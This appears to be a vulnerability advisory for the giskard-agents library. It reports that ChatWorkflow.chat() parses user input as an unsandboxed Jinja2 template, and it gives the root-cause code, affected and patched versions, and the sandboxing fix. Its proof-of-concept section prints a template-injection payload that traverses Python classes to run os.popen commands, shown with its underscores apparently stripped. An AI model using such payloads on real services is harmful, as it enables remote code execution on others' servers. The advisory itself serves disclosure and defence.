Summary "ChatWorkflow.chat(message)" passes its string argument directly as a Jinja2 template source to a non-sandboxed "Environment". A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal. The method name "chat" and parameter name "message" naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text. Root Cause "libs/giskard-agents/src/giskard/agents/workflow.py" line ~261: def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self: if isinstance(message, str): message = MessageTemplate(role=role, content_template=message) The string becomes "content_template", which is parsed by "from_string()": "libs/giskard-agents/src/giskard/agents/templates/message.py" lines 14-15: def render(self, **kwargs: Any) -> Message: template = _inline_env.from_string(self.content_template) rendered_content = template.render(**kwargs) The Jinja2 Environment is not sandboxed: "libs/giskard-agents/src/giskard/agents/templates/environment.py" line 37: _inline_env = Environment( autoescape=False, # Not SandboxedEnvironment ) Proof of Concept from jinja2 import Environment env = Environment() # Same as giskard's _inline_env Class traversal reaches os.popen t = env.from_string("{{ ''.class.mro[1].subclasses() | length }}") print(t.render()) # 342 accessible subclasses Full RCE payload (subclass index varies by Python version) {{ ''.class.mro[1].subclasses()[INDEX].init.globals['os'].popen('id').read() }} A developer building a chatbot: workflow = ChatWorkflow(generator=my_llm) workflow = workflow.chat(user_input) # user_input parsed as Jinja2 template result = await workflow.run() # RCE if user_input contains {{ payload }} Note: using ".with_inputs(var=user_data)" is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to "chat()". Impact Remote code execution on the server hosting any application built with giskard-agents that passes user input to "ChatWorkflow.chat()". Attacker can execute system commands, read files, access environment variables. Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release). Mitigation Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix. The fix replaces the unsandboxed Jinja2 Environment with "SandboxedEnvironment", which blocks attribute access to dunder methods and prevents class traversal chains. "SandboxedEnvironment" blocks access to attributes starting with "_", preventing the "class.mro" traversal chain.